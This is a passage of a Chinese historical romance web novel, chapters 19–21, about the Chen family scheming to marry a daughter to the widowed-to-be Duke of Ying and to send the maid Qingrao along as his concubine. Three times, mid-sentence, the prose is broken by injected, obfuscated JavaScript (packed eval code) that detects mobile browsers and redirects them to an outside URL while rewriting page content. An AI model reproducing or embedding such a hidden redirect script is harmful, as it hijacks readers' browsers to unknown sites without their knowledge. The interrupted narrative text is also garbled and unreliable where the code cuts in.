她深吸了一口气,稳住颤抖的手,沉下了心神。 走到今日并非她所愿,可她已经没有旁的路可以走了。英国公府,显见是个吃人的地界,她又将被以那样尴尬的身份送过去,她没有办法不争。 不争,恐怕就要死。 若要争,自然要竭尽全力谋得利益。 四姑娘默许了将来嫁去国公府做继室的事,那她便要争着扭转自己在“姐夫”心里的形象——她不能再是个天真可爱的妹妹,而要是个贤淑美丽的官家女子。 而她,也要抓住姑娘递过来的机会,在那位天潢贵胄心里,留下一点难忘的痕迹。 纵然,她今日并不会见着他——毕竟,她只是大夫人眼里用来固宠的玩意儿,并不需要时时刻刻在男主人眼前露脸。 …… “既如此,亲家,我就先告辞了。”得偿所愿,程喆在陈家用完午饭后便告辞了。 朝中气氛不同寻常,故而午间宴饮,众人也没有饮半滴酒。虽是边吃边谈事,也没有花上多少功夫。 陈弘章父子将亲自将程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14144640|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喆送到大门口,陈弘章便拍拍长子的肩膀:“今日应对还算得体,不错。” 陈大少爷眼中闪过一抹激动,能得到父亲的认可,总是叫人欢喜的。知道父亲还有话同大姐夫说,心里揣测是否是因长姐病重的缘故,面色不免黯然些许,也揖礼而去。 陈弘章眯着眼睛慢慢踱步回了外书房。 周绍愿意给程喆当说客,上门来试探陈家对这门亲事的态度,推进两家尽快结亲,可见心里还是很看重岳家的。 程喆今日的态度也让他颇为自傲。前者虽贵为正二品太子少师,但因太子集万千宠爱于一身的缘故,许多高官都曾被陛下许了太子太师、太子少师、太子少傅的名头,故而太子少师在本朝的含权量算不得高。 不似他们陈家,世代诗书传世,不仅是有名的士族,他的父亲为任宰辅数十年的时间里,也收下不少门生,桃李满天下。 他的叔伯、兄弟、族人里,有名士,有地方大员,也有六部高官。这样的门第,才能称得上世代簪缨。 君不见,就连贵为先帝后裔,一直心存傲气的大姑爷,今日不也上门来想与他探讨朝局吗? 陈弘章心中愈发得意,更认为自己做的选择绝不会错。从前没往那方面去想,可一旦想了,就觉得今日冒的风险胜率极大。 周绍穿一身宝蓝云纹的刻丝袍子,沉思着今日众人说的种种。 他素来不喜岳父精于算计的模样,可今日却不得不承认,老狐狸有老狐狸的好处,他并没有时刻在宫里侍疾,却仍旧洞若观火,一眼就能瞧出他的到来意味着什么。 他有心放低姿态,在岳父面前请教一二,好在混乱的朝局中找到立足点。 陈弘章也有意和大姑爷拉进距离,翁婿之间一拍即合,谈话倒是难得的和乐融融起来。不知不觉,就过了一个多时辰。 “父亲。”有人忽然在外头敲门,陈弘章脸上笑意一深,扬声道:“进来罢。” 周绍微微敛眉,便见一个披着斗篷的女子拎着大红食盒进来。她解了斗篷挂在一边,笑盈盈地上前来福礼:“见过父亲,见过国公爷。” 着一袭雪青色的杭绸衫,遍地金的细褶裙,梳了高髻,戴着海棠流苏钗,弯身行礼时,两条玉色的长穗如蝶般勾勒着少女纤细修长的身形。 周绍不由怔了怔。 在他的印象里,妻妹一直是个娇憨讨巧的小孩子,平日里只爱赖在岳母身侧撒娇,和妻子是全然不同的性格。 没想到,竟是岁月荏苒,如今也生得亭亭玉立了。但这样的念头也只是在他心里一晃,没怎么挂心。毕竟是妻妹,他出于礼数一向不怎么盯着看,也是寻常。 “这是我身边的丫鬟做的小点心,想着父亲和姐夫或许说累了,便大着胆子送来了些,父亲可不许怪我。”她嘻嘻地笑,脸上尽是被宠爱得肆无忌惮的爽直。 陈弘章同幼女笑闹了几句,便道:“行了,你便回去多陪陪你母亲说话,她近日心里不好受。” 听得这话,陈阅微脸上的表情默了些,咬了咬唇,忽而问周绍:“姐夫,你上京前,长姐她……如何?” 虽是知道姐姐药石无灵了,但也难免挂念吧。周绍心里叹息一声,可却一时答不上来——他听说了太子出事的消息便匆匆上京,只在家里停留了一晚,并没怎么和妻子说上话。 少女便红了眼睛,失望地提着裙子一福,转身退下。 周绍沉默着,忽而听岳丈开口道:“姝儿的事,我们都很伤心。可人再伤心,日子也得接着过,更何况,她还给你们家留下了骨血,如今唯一的男丁……国公爷,你心里,属意哪家的姑娘做你的继室?” 他倏尔抬起头,漆黑的曈眸中闪过一丝暗色。 19. 第 19 章 “只要元娘还在,她就是我周绍唯一的妻子,续弦之事,小婿倒从未思量过。”男子嗓音冷冽,眸色锐利如刀,“倒不知岳父大人,有何指教?” 多年结发夫妻,纵然眼下两人的心已然渐行渐远,但他仍容不得旁人作践她。 陈弘章一噎。 他习惯了做一个政客,哪怕对大女儿格外偏宠些,这份宠爱也不足以与家族荣辱,前程性命相较。 他以为,大女婿同他是一类人。只是他到底忘了,周绍不仅是手有实权的英国公,同时还是流着先帝血脉的皇室宗亲。锦绣堆里养大的宗室,不养歪了性子就算了不得,且周绍还有太子伴读的光环在,办差再是能干,身上也难免带些傲慢的天真。 更何况,满打满算,这位国公爷也还不到二十七岁,到底年轻。 年轻人,重情分,作为陈阅姝的父亲,他原是该高兴的。可惜长女红颜薄命,病弱的鹤哥儿若是守不住这偌大的家业,往后国公府攀上了什么好事,恐怕他陈家也分不到一杯羹。这种情形下,周绍若是非要为发妻守住,直到皇室那头为了规矩塞给他一个继室,对陈家来说就太被动了。 哄孩子的话,陈弘章说起来得心应手:“元娘的事,国公爷伤心,我们为人父母的,又何尝不是肝肠寸断?你岳母听闻了这事,撑不了几日便病倒了,前几日才好转了些。老夫回府听说了,也是一夜间生出了许多华发,唉……”他以袖拭泪,眼睛通红:“可正是因为人父母,老夫才更能体谅元娘的心情。大夫说她早就有油尽灯枯之相,眼下撑着身子骨不肯去,无非是想等国公爷回去,将鹤哥儿的事儿全安排妥当了,才肯放心啊!” 话说得真情切意,周绍却垂下眼睑,眸色越发地冷。 普通的父母,听闻自己孩子病重,所思所想应皆是快马加鞭地去看望孩子。 可在陈家这里,陈弘章为了自己的野望,不肯在朝局动荡时轻易离开京城,哪怕办差的路上途径了襄州临近——或许他当时没有听闻,又或许,他听闻了也装作不知,只一心奔赴回京。 陈大夫人沈氏,说是为长女的事病倒,可底下人来报过,她病倒的时机,并非是接到襄州来信之时,而是陈四姑娘的未婚夫意外坠亡后。病愈后,她也全然没有下襄州看望陈阅姝的打算,而是兴致勃勃地给幼女挑选起新的夫婿来。 如此种种,叫他寒心,这也是他上京后不曾上门拜访的缘故。母慈子孝,总要是父母先慈,才有子孙的孝顺。从前元娘提起娘家,总是一副不以为然的样子,他心里只觉得她幼稚,想着十指尚且有长短,居家过日子,一碗水想端平太难,父母有所偏颇是再寻常不过的事情,日子长了,她总还是要依靠娘家人。 可如今陈阅姝刚刚病重,陈家人就谋划起她的身后事来,他才恍然惊觉,事情早已不是偏心二字便能简单述明的。陈家待元娘,分明是太过无情了些。 他没有说话,打开漆盒,随手用了一块儿还散着热气的梅花糕。 甜而不腻,软软糯糯,他不自觉连着吃了好几块儿,一时倒是将他自回到府上瞧见陈阅姝苍白的脸色后便盈在舌尖久久不去的郁苦冲散了些。 “岳父大人之心,小婿自然明了。”他抬起头,面上是淡淡的笑意,敛起了戾气。 陈弘章满意地笑了起来,意有所指地开口道:“贤婿能明白就好,老夫的所有打算,也都是为了元娘的心愿和唯一的外孙。贤婿,鹤哥儿年幼又一向体弱,身边少不了照料的人,贤婿得陛下和太子殿下看重,出门办差是常有的事,宅内的事都要主母过目。所以,这继室的人选可马虎不得。依老夫看,若是为鹤哥儿想,贤婿可在我府上云英未嫁的两个姑娘里挑一位……” 顿了顿,他又接着道:“四娘和七娘都是家里悉心教导过的,只是七娘年纪小些,尚未及笄,只怕还得等上一两年才能过府。且她到底生母出身低些,眼界不如嫡女也是有的,为国公府的门第着想,还是四娘更合适些。” 周绍薄唇微抿。 陈弘章话说得客气,可这番话下来,简直同逼着他立刻点头应下陈四姑娘这门续弦已然没有什么区别了。若是不应,好似他心里就没有鹤哥儿这个独子,没有元娘这个发妻,更没有陈家这门姻亲。 上门之前,他决计没有想到,陈家会打着再嫁一个女儿到他家中的算盘。 他了解元娘,若陈四姑娘若真是合适的,他上京之前在正房的西侧间里歇了一夜,她不会什么话都不同他讲。 陈弘章这番做派,叫周绍想起了年幼时在东宫伴读时,东宫伺候膳食的宫人口口声声说要以规矩为重——话说得再漂亮,可还是只能他们挟什么,他就只能吃什么。 他爹老襄王是个不拘一格的人,襄王府里自来都不守这样的规矩。在襄王府,只有一条明确的准则,那就是以襄王爷为天,以襄王爷说的话为天,哪怕他爹在外头人眼里不靠谱,可在襄王府里,没有奴才敢有丝毫的逾越。 他极为厌恶陈弘章这种打着为他打算的旗号逼迫他的行径,但想起陈阅姝,又怕是她一时举棋不定,拿不定主意,万一最后她还是选择应娘家的打算,他也不好将她的路堵死。 “这样的事,若是岳母大人亲至襄州,和元娘好生商议一番,元娘兹要点头应了,小婿自然也没什么不满意。”他挑眉笑笑,眸光里飞快划过一丝嘲讽,“四姑娘是陈家嫡出的姑娘,若是嫁给某做续弦,实然也是委屈了她。” 陈弘章没注意到周绍的神色,同是男人,他只觉得周绍是抹不开脸点头应下娶妻妹的事,还得冠冕堂皇地得了发妻的首肯,最好还有临终前的殷殷嘱托才肯听从,这样一来,能全了他在外的名声。 在他看来,长女是再懂事不过的人,四娘将来嫁过去,对鹤哥儿和陈家是双赢的事,她没有理由不应。是以,陈弘章当下只来得及高兴了。到底今日让四娘来了一趟,还是叫大女婿看上眼了,否则,他不会应得这样爽快。 便谦让几分:“哪里哪里,四娘自幼得夫人宠爱,性子有些跳脱,方才对着国公爷还有些无礼呢。国公爷不同她计较这些,就是她的福气了。” 自幼得宠。 周绍别开视线,笑笑道:“晚间小婿还要进宫侍疾,此刻再进内院给岳母问个安后,就不多叨扰了。” …… 青娆将费尽心思做的几样糕点放进漆盒里交给四姑娘,待她转身离去后,长吐出一口气。 四姑娘今日穿得艳丽,倒将脸上那股子孩子气去了七八分,英国公看了,大抵也会有种出乎意料的惊艳感。 尽人事,听天命,她已然做了最大的努力,也就不再去探听前院用的如何。结果怎么样,总也会传到她耳朵里来的。 回自家的小院时,青娆在路上碰见了坐在园子里“辣手摧花”的丫鬟。 赫然是她姐姐庄青玉。 她准备装没看见,青玉却眼尖,吆喝一声就逼得她不得不停了脚。 “这花好看吗?”她朝她挤眉弄眼。 青娆眉心直跳,默了默:“这是七姑娘专门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青玉隐隐看出这两日青娆心情很不好,却也只以为她是因齐和书另娶他人的事儿,现在才慢慢回过味儿来,记起了伤心——这很正常,当年府里最英俊的小厮大鹏哥成亲的时候,她也很是哭了一场呢,这种事都是后劲大。 “姐姐,来推我!”青娆哈哈地笑,得意地朝她扬眉:“快来吧,你也就比我劲儿大些,旁的我样样都出彩!你若是这种时候不出力,可再显不出你来!” 还是一样的嘴贫。 “我呸!你可真会说大话,你也不瞅瞅,你那针线活做得跟蚂蚁爬的一样,姑娘连鞋袜都不会叫你做的!”她出言奚落,却还是站在了秋千后头,稳稳地将妹子托起,朝碧蓝天空的方向送。 不远处的周绍听见青娆的一番话,拧着的眉心缓缓舒展。 人生得意须尽欢[1]。 小小的丫头片子,倒作老妪姿态,叹起人生无常来。 可他眉心微动,想起夫妻间无话可说的情势,缓缓地吐出一口气来。 元娘所剩的时日不多了,陈家的话虽然诛心叫他厌恶,但他也不能再逃避下去。逃避,解决不了问题,剩下的时间,他该凭着他的心去做。 元娘之事如此,太子之事,也是如此。 没想到,他竟不如一个小丫头看得开。 想到这儿,边往内宅的方向走,边不由又深深看了一眼那丫鬟。却是黛眉水目,长颈如玉,美得简直晃了人眼。 20. 第 20 章 这日过后,陈府里便开始紧锣密鼓地筹备起三姑娘的婚事。 宴请宾客的帖子到了余姨娘眼前,她就先哭了一场——大姑娘出嫁时,府里足足摆了两日的流水席,到了三姑娘这里,却只准备了六桌席面。放在寻常小官人家,或许尽够了,可陈家树大根深,姻亲和通家之好那样多,六桌席面,简直是和做错了事被草草发嫁的姑娘没什么区别了。 但余姨娘并未伤心太久,只因大夫人一扫先前的漫不经心,亲自操办起三姑娘的嫁妆来——从前这事被大夫人交给了府里的管事,没个得势的主子盯着,那些下头的人有的是法子偷梁换柱,面上做的光鲜亮丽,实则都是不经用的。 说起这女子嫁妆之事,前些年,京里有个六部官员的长女出嫁,因这姑娘的生母早早去了,继室当家,给她当嫁妆打的床竟然陪过去三个月便塌了,叫婆家的人好一顿笑话,就连那以次充好的继母也因行事太过火,被御史台的官员好一顿排揎。 有这先例在,余姨娘本也提着心,生怕女儿也着了那些刁仆的当,如今见大夫人亲自接过去不说,还又添了两千两银子给三姑娘做嫁妆,顿时一扫忐忑,欢天喜地谢起夫人的贤淑大度来。 能在陈府生活至今的姨娘,个个都是人精,余姨娘慢慢也就品出味儿来,两家之所以急着成亲,是因为这门亲事在这档口很重要。所以,虽面上没有大肆操办,府里却在里子上给三姑娘补了实惠。 三姑娘得了这些好消息,眉眼便也渐渐端了平,不再只望着自己的绣鞋说话。当了这些年谨小慎微的庶女,如今得遇良缘,嫁去好人家做正室夫人,日后和娘家互为倚仗,日子只会越过越好。 余姨娘母女在清点着嫁妆,青娆也走到自己房里的橱前,拿钥匙开了铜制的元宝锁。 庄家日子还算宽裕,青娆又是个懂事的性子,所以这些年她的月例和府里的赏赐都是她自个儿收着,庄管事和崔妈妈从来没找她要过。 青娆九岁上进的府,一开始是扫院子的粗使小丫鬟,月例二百文,后来十岁时四姑娘独立开院,院子里要添人,庄家便走动关系将她送进了九如院,定的是三等丫鬟,月例四百文。 四姑娘一见她就很喜欢她,知道她会读书写字后更是欢喜,没几个月就提了她做二等丫鬟,月例六百文。二等丫鬟当了两年后,先前服侍四姑娘的大丫鬟嫁了人,她成了一等,月例八百文。今年彤雯开始准备嫁妆时,她就领了院里的事,做了管事,月例一两银子。 除却固定的月例外,逢年过节,或是家里有喜事了,府里对她们这些有等的丫鬟也并不吝啬赏赐。 只是她在四姑娘面前有体面,便也在府里其他院里的大丫鬟面前挂了号,过个生辰、家里兄长娶亲这等人情往来,每每也都是要叫了她去的。既去了,就没有空手的道理。 故而她虽一向不怎么爱同府里年轻的小丫鬟攀比吃穿,但必要的人情往来却也不能推却,细算下来,这些年也就只攒下五十多两银子——四姑娘到底只是未嫁女,手头不比管着自己嫁妆的年轻媳妇宽松,九如院里就是当到了管事,也没什么多的油水可言。 青娆垂着眼,又从橱柜里拿出一个黑漆描金的匣子。 里头放了六个五两的银锭子,并五个十两的银元宝。 那三十两是齐家所谓的赔礼,五十两则是大夫人为了安她的心,当日赏赐给她的。除此之外,大夫人赏赐的金簪是她亲自插在自己头上的,恐怕不能轻易变卖,赏的那几批缎子,也是直接被送去了绣房里给她做新衣裳,连她的手都没经。 现钱只有这些,她手里的金银首饰却不少,光是刻了福寿云纹的金戒指就有三只,银簪子金灯笼坠子也有好些。青娆从里头取出了戒指,又拿了一对儿银雀珠花,扫了一眼那熠熠生光的银杏簪子便移开了目光,将其余的东西都安生放好。 听闻大夫人已经在和娘家写信,想要个从宫里出来的老嬷嬷来指点四姑娘的规矩。外头人都知道,陈四姑娘的未婚夫意外身亡,打那以后,陈家就一直想给她找个公卿之家,便是做续弦也可以。公卿之家规矩大,提前修习一二似乎不足为奇。 青娆却知道,大夫人想让四姑娘学的并不是普通公卿之家的规矩,而是王府宗室的规矩。英国公的父亲老襄王在时,府上还是亲王府,如今老王妃身子骨还硬朗,襄郡王府和英国公府便都还未摆脱先帝直系的荣光,很多事情都参照着宫里的规矩。 大姑娘出嫁前,老夫人曾请了宫里德高望重的老嬷嬷单独指点她,如今轮到四姑娘,自然也得学。可青娆知晓,要学的不只是四姑娘,还有她。 一个地方,能让陈老夫人和陈大夫人都这样如临大敌,必然对她这种小人物来说,是龙潭虎穴。 她并不相信大夫人关于她的谋算能成——听四姑娘说,昨日英国公来府上,大老爷透出了再次结亲的意思,英国公却没有直接答应。这样一个连娶高门贵女做继室都不怎么情愿的人,又怎么会轻易听从岳家的安排,往房里纳一个旁人送来的通房呢? 她想,大概她的下场会如大老爷外放时各个上峰给他送来的美人儿一般——多数安置在一旁不理不睬,到了一定年月就放出去重新嫁人,其余的则是被大老爷忌讳和厌恶,如一朵凋零的花儿,没能熬住大妇的磋磨和奴仆的白眼,一条性命交代在了宅子里。只有极少数的情形下,会如同王姨娘一般,如愿生下一儿一女,又多年经营,成了大妇不能轻易打杀的宠妾。 饶是如此,王姨娘的宝贝儿子三少爷,如今眼看着仍是被大夫人养坏了,再不成气候。 英国公此人,她与他不曾有太多交集,可听他一直在为东宫办差便知,定是个心有城府之人。那样的人,只怕最恨被人算计,她被送进去,一旦惹了夫妻二人厌恶,很有可能再也不能活着见到她的爹娘…… 青娆拿帕子按了按眼角,既然如此,她就不能将她这些年的积蓄全都带过去,免得平白糟践了,倒叫国公府下头的人得了好处。 她想了想,从银钱的盒子里拿了三个十两的银元宝,并着那枚金簪和她选出的几样首饰放进小包袱里。 后头两日,她从外头换了一百两的银票,挑着时机将银票和首饰放进了她爹娘屋里那个香樟木的大箱笼里。 那箱笼里头放着的都是家里值钱却笨重的老物件,寻常不会拿出来招人眼,她将东西放在里头,没有个一年半载的她娘不会收拾。她爹娘的屋子家里没人时都是上了几道锁的,也不怕有小贼惦记。 处理好了这些东西,青娆感觉自个儿心头松快了些 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嬷嬷姓谢,方圆脸,瞧着很是宽和的模样,面上也一直带着笑,可教起人来却是半点不手软。 青娆面上是进了正院,可每当谢嬷嬷到正院里教四姑娘规矩,沈氏总也要打发了她去服侍姑娘,美名其曰说是四姑娘用惯了她。正院里的丫鬟冷眼看着,这位横空出世的丫鬟并没有在正院立下半点威势,手中也没有权柄,便也不再将她放在眼里。 谢嬷嬷教四姑娘,主要教的是气派仪态,要她将从前动不动爱撒娇弄痴的性子改了,举手投足都讲究一个慢字,颇有种要她泰山崩于前面不改色的意味。 至于教青娆,除却宗室面上通用的规矩,教的则是如何侍奉主子,教的行事章法,全然是按照宫里给宗室配的通晓人事的宫女的章程来的。 青娆心里暗暗腹诽,那国公爷年长她十岁,哪里还需要她一个年轻丫头教导人事?可心里虽这样想,面上却不敢表现出来,只是臊着一张脸听她提点。好在教导她时是背着人的,否则要是被四姑娘听见了,她可真是没脸。 谢嬷嬷对四姑娘倒很是意外:“姑娘的规矩很是不错,原先照夫人说的,还以为要通教上一个月才能出成效,可姑娘眼下已经是没有大错了。” 说没有大错还是谦虚的说法,照她看来,这位四姑娘身上的规矩比起她来都丝毫不差,要说差错,也就是有些东西放在宗室身上有些违制,需得更正过来罢了。 青娆听了也没多想,满脑子都是谢嬷嬷塞给她的那叫人面红耳赤的小册子。 谢嬷嬷看了一眼出神的青娆,眸光微微闪烁:至于这位,更是个天生的尤物,有些东西,她都不需要仔细地去教导,她一横眼一抬眸,就做出自然的风情来。天底下的男人,只怕少有见了不爱的。 这陈家精心调教了这女子要送去宗室里头,将来,说不准还会有些大造化。 她从宫里刚荣休出来,知晓里头的情势已经到了什么地步。 太子殿下只怕撑不过这个月了,而陛下膝下已经没有子嗣,纵使再不情愿,将来皇位也只能旁落到宗室子弟里头了。 …… 元庆三十二年,四月,太子靖薨于东宫。 21. 第 21 章 朝中诸臣虽对此早有了心理准备,可真到这一日来临时,还是不免惶恐慌乱。 陛下年事已高,多半已经不能再育有皇子。往后,嫡系的宗室为了大位只怕要先争起来,先前东宫属臣和弘文馆诸人背后的家族该何去何从更成了难题。 帝心难测,陛下虽垂垂老矣又失去了唯一的儿子,但从前也是开疆拓土令异族闻风丧胆的枭雄,谁也无法预料,他在极端的痛苦之下会作出什么样的决定。 …… 陈家刚刚将三姑娘嫁去了程少师家,没几日大内便传来丧钟,陈弘章心悸之余很是松了口气,好歹没将这张牌烂在手里。 紧接着,陈大老爷和大夫人沈氏便焦头烂额地准备起去司德门哭丧的事情。 宫里下了谕令,太子薨逝,辍朝七日,服丧十日,服丧期间,文武百官、内外命妇都需得去司德门哭丧。 刚进了四月,要在司德门足足跪上十日,就是陈弘章都觉得身子骨兴许吃不消,更何况刚病愈的沈氏。 好在他家有得力的女婿周绍,太子去世前一直守在东宫里,沈氏已打算到时若撑不下去,便叫大女婿出面转圜,总是能在皇后娘娘搏得几分体面。 家里的主君主母不在,总得要有个撑起来的人。 四姑娘忙着和嬷嬷学习规矩却一直不带着七姑娘,王姨娘私下本来就有埋怨,本想着这几日主母不在,论宠爱论资历也都该是她管着家,谁晓得四姑娘一开口,倒抬举了默默无闻的余姨娘。 余氏也没有推辞,她的女儿嫁得好,她在家里也更得敬重。王姨娘有宠不假,到底身份上不得台面,这样的关头给家里惹来祸事那就不好了。 于是四姑娘便和青娆一块儿继续学着规矩。 这一日,谢嬷嬷单独教完了青娆规矩,她红着脸掀开珠帘出来时,瞧见四姑娘还没走,忙上前福了福:“姑娘怎么还没回院儿去?” 又拿眼睛打量她,生怕她听到了方才嬷嬷说的甚么话。但四姑娘面色如常,笑盈盈地拉着她的手,掀开她衣袖的一角,赞道:“青娆,你的手腕真好看。” 说着,往她腕上带了一对赤金海棠花的手镯,竟是有些沉手。 青娆忙要推拒:“姑娘,这东西太贵重了,我不能收。” 四姑娘却叹了口气,低声在她耳边道:“这镯子,我原本便打算在你出嫁的时候给你当嫁妆的,可惜……”她顿了顿,“如今虽事与愿违,这东西也一样送给你,日后去了那地界,也每人敢小瞧你。” 彤雯出嫁时,四姑娘只送了一副银头面,这对镯子却是花型别致,海棠花是半悬空的,摇摆时微微晃动很是别致。镯子侧面还镶了一对红宝,光是这小小的一块儿便足够买下彤雯那整副头面了。这份原本的嫁妆,实在是贵重。 青娆反握住四姑娘的手,心中宽慰自己:或许,能跟着姑娘,日后继续得她庇佑,她也能过得不错吧。 …… 一家人聚在一起用饭时,崔氏一眼就发现了青娆腕上的金镯。 “这是哪位主子赏的?”她面上表情没变,手却捏紧了筷子。 青娆看了一眼自己的手,笑眯眯地道:“是四姑娘赏的。” “不年不节的,怎么下了这么重的赏赐?”崔氏的眼界不俗,她看得出,这镯子,就是放在四姑娘的嫁妆里头,也不算埋没了。 先前是大夫人赏了一支金簪,如今又是四姑娘给了一对金镯,就是老实如庄管事,也察觉出不对了。 他倒没往别处想,只皱着眉道:“你一个姑娘家,可不要去替主子做台面下的事,再重的赏赐咱们也不要,咱们家不缺这些银子过活。” 他是疑心四姑娘没了亲事,去钻营什么上不得台面的事情,或是要碰不该碰的生意,要青娆为她办差,才给了这么丰厚的赏赐。 “爹,娘,你们尽管放心吧,这东西是四姑娘给我的嫁妆,我在她身边这么多年,情分是最重的。她私库里好东西多着呢,不缺这对镯子。” 崔氏听得眉心直跳:“嫁妆?你又还没有许人家,四姑娘的亲事也还没定,不急着出门子,给你什么嫁妆?” “哦,有件事忘记和爹娘说了。”青娆放下筷子,笑嘻嘻的:“大夫人前儿和我说,下月去襄州府探望大姑奶奶时,要将我留在大姑奶奶那儿伺候。兴许,日后我就要在襄州许人了。” 崔氏终是再忍不住,气得拍了桌子:“这样大的事,你不同家里商量一下就应了大夫人?大姑奶奶屋里十几个伺候的人,轮得到你去?你老实说,大夫人究竟是要你去做什么的?” 自打她看了那金簪,心里就一直隐隐有个疑影儿,又看着宫里出来的嬷嬷进了陈府的门,每日都在悉心教导四姑娘,而她的女儿,原是四姑娘身边的人,好端端却被一向宠爱女儿的沈氏调去了正院,这会儿,又说要去襄州伺候…… “你说,大夫人是不是想让四姑娘嫁给英国公做续弦,叫你去给他当房里人?” 青娆有些惊讶她娘的敏锐,面上却展开了笑颜:“娘,您真是聪慧。只是这事儿还没定呢,光是大夫人一厢情愿有什么用,还得国公府那头的大姑奶奶点头才成呢。” 她开口时一副含羞带怯的口气,叫崔氏气了个倒仰,沉着脸站起身来:“我去回了大夫人,家里早给你定了亲事,不能去襄州了。” 哪知,青娆却跑过来拦住她,一脸焦急:“娘,你这是做什么,这是好事儿啊!” 崔氏不敢相信自己的耳朵。她悉心教导的二女儿,她一直对她最满意,以为她是家里最聪慧最明白事理的,是从什么时候开始,她也打起了要给爷们做妾做通房的主意? “你竟然情愿!庄青娆,是不是老娘将你打得皮开肉绽你才知道悔改?”她看了一眼缩着如鹌鹑的大女儿,警示的意味非常浓,是要让二女儿想起小时候的闹剧。青娆一向孝顺,怎么会不知道她有多厌恶此事。 “娘,我和齐家的闹成这样,府里上上下下已经没什么好的会娶我了。与其如此,还不如听大夫人的话,且国公爷我见过了,长得十分英俊呢。” 这就是睁眼说瞎话了,那日周绍进府,大夫人根本没让她在他跟前露面。 崔氏气得脸色青白,身子直抖,伸手就打了她一巴掌:“你真是被猪油蒙了心了,竟然想出这样的主意来!从前你还心气高,想着带全家脱籍,如今却是自甘为人妾室,一辈子在宅子里抬不起头,还要叫你生的孩子也抬不起头!” 她极度失望,她原以为二女儿是最像她的,哪怕生而为奴仆,也没有丧了心气,一心还想跃出这宅门外头。却不想她跌了一跤,便全然变了副模样。 青娆捂着脸,眼泪在眼眶里打转,开口的话却字字朝崔氏心口扎:“娘,您总以为您是对的,我也一向认为您是对的。可就连齐家,也忌惮我的容貌,为了这不肯娶我过门。您当真以为,我嫁入寻常人家,便能不招来祸端吗?” 说罢,便掩面哭着跑了。留下崔氏怔怔地立在原地,半晌没有动弹。 跑出庭院的青娆步子却慢了下来,她扶着墙,缓缓地蹲了下来,泪珠无声地从面颊两侧滚落。 她故意在娘面前戴上这对金镯,就是想让娘亲口问出这件事。自小到大,她一直是娘的骄傲,可如今,她注定要为人妾室,注定要让娘失望。 那与其让家人知道她因为他们而妥协走上这条路感到痛苦,还不如让他们认定了自己骨子里就是个贪慕虚荣毫无气节的姑娘。这样一来,若她真在国公府活不下去,她的死讯传到家人耳里,或许他们也能减轻几分伤心吧。 若她无能,办不成事还丢了小命,大夫人兴许会迁怒于他们,到时候,她留下的银子也能派上用场。 院子里逐渐爆发了争吵,喧闹的声音里,青娆的心却变得无比的平静。 这一次,她该是对的吧。 …… 第二日,庄秉义在青娆下值后,找到了她。 青娆的印象里,父亲庄秉义一直是极为疼宠妻女的人,但毫无疑问,在他的心里妻子的分量要更重。 青娆不由看了一眼她爹娘屋的方向,问:“我娘她……” 庄秉义的面容更缓和了些。崔氏被气得一夜没合眼,晨起还叫他去替她要了假,这会儿还躺在床上动都不肯动,当真是失望至极了。 “再怎么样,你昨日也不该那样对你娘说话。”他皱着眉头,脸色很严肃。 两个女儿的教养,他都是让妻子拿大主意的,妻子花了大价钱让她们学认字学读书,他也一概都依她。 印象里,大女儿性子泼辣跳脱,小女儿温柔懂事,妻子一向是对小女儿赞不绝口的。 谁知道,偏生是她这样喜欢的小女儿,昨日当着全家的面打了她的脸。或者也不只是打了她的脸,她话里话外,分明是怪家人没能替她说到合意的婚事,她才起了这样的心思。 儿女都是债啊。 庄秉义对青娆的话也不是不寒心的,可想起女儿从丁点大的婴孩长成如今模样,又怎能看着她不知天高地厚撞到头破血流? 他忍不住又开口劝了许久。 但青娆只是低着头,一幅油盐不进的样子,末了还说:“爹,我心意已定,大夫人的话也不是那么好回绝的。您就歇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14192857|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了心思吧,等我日后发达了,定然不会忘了娘家的。” 庄秉义脸色发青。 他虽不如齐诚会往家里捞钱,可他们家的用度一向也是家生子里最拔尖的,哪里就需要这等同于卖女儿的钱? 他气得恨不得拂袖而去,但想了想,还是忍下了。 “罢了,你既然不听劝,那就去罢。说起来,你表叔胡武春一家做了大姑奶奶的陪房,如今一家子应该都在国公府里当差。你去了,若有拿不准的事,也可去寻他拿个主意。旧日里,两家也曾是亲近的。” 大姑奶奶出嫁的时候,青娆年纪还小,故而并不记得他爹和表弟一家作别的场景,听到这话,也是一愣。 她还当国公府里举目无亲,不曾想,还有这样一门关系近的亲戚在。表叔,那应当就是她祖母万妈妈的亲外甥了。 青娆张张口,想说什么,却见她爹转身出去了,只留给她一个背影,心头不由泛酸起来。 …… 庄秉义回了屋,见崔氏仍背着身在床上躺着,不言也不语,便坐在茶桌旁给自己斟了一杯茶。 “那丫头可真是倔,怎么说也不听,说得我嗓子都冒烟了。” 崔氏不理他。 昨天争吵时崔氏揪着他的耳朵,话里话外说都是他的错,才生出来这么个不孝女,庄秉义太过冤枉,一口否认,正想把这口黑锅甩给长女,却见庄青玉已经溜之大吉了。 没能顺毛,回屋后崔氏就不搭理他了。 